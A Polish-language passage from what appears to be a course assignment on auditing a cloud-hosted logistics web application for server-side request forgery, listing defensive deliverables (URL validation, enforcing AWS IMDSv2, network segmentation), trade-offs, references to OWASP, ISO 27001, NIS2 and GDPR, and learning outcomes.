• Wzorcowy fragment kodu w języku PHP/Python realizujący bezpieczną walidację adresu URL (sprawdzenie protokołu, rezolucja IP, blokada prywatnych zakresów RFC 1918 i 169.254.x.x).
• Polecenie AWS CLI wymuszające migrację instancji EC2 na protokół IMDSv2 (`aws ec2 modify-instance-metadata-options`).
• Reguły sieciowe izolujące serwer aplikacji od wewnętrznych portów administracyjnych.

5. Analiza zalet i wad wybranego rozwiązania:

• Zalety: całkowite uniemożliwienie odpytywania zasobów wewnętrznych przez podatną aplikację, neutralizacja wycieku poświadczeń IAM, bezpieczna obsługa logotypów klientów.
• Wady/wyzwania: niewielkie wydłużenie czasu pobierania plików (dodatkowe zapytanie DNS i walidacja IP), konieczność weryfikacji kompatybilności aplikacji z IMDSv2.

6. Bibliografia, netografia i odnośniki do norm i przepisów prawnych (NIS2, RODO, dokumentacja AWS Security, OWASP SSRF).

• OWASP Foundation: "OWASP Top 10:2021", A10:2021 Server-Side Request Forgery (SSRF).
• OWASP Foundation: "Server-Side Request Forgery Prevention Cheat Sheet", 2023.
• Amazon Web Services: "Use IMDSv2 - Configuring instance metadata options for your Amazon EC2 instances", AWS Documentation 2023.
• Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.20 (Bezpieczeństwo sieci), A.8.22 (Segregacja w sieciach), A.8.28 (Bezpieczne kodowanie).
• Dyrektywa Parlamentu Europejskiego i Rady (UE) 2022/2555 (NIS2) - podmioty kluczowe sektora transportu i logistyki.
• Rozporządzenie Parlamentu Europejskiego i Rady (UE) 2016/679 (RODO) - art. 32 (Bezpieczeństwo przetwarzania).

• U2 Identyfikacja podatności Server-Side Request Forgery (SSRF) i ryzyka eksfiltracji metadanych chmurowych.
• U1 Opracowanie zaleceń walidacji adresów URL, wdrożenia AWS IMDSv2 oraz segmentacji sieciowej.
• U3 Szacowanie ryzyka kompromitacji środowiska chmurowego i paraliżu operacyjnego spółki logistycznej.
• U4 Przygotowanie kompleksowego raportu z audytu aplikacji webowej i wystąpienie seminaryjne.
• W1W2W3 Dogłębna znajomość architektury chmurowej, kategorii OWASP A10:2021, NIS2 i normy ISO 27001.
• K1K2K3 Zdolność do strategicznego myślenia o bezpieczeństwie chmury i wysoki profesjonalizm audytorski.

W referacie seminaryjnym zademonstrujcie mechanizm działania IMDSv2 i wyjaśnijcie, dlaczego wymuszenie nagłówka 'X-aws-ec2-metadata-token' blokuje klasyczne ataki SSRF realizowane przez proste żądania HTTP GET w aplikacjach webowych.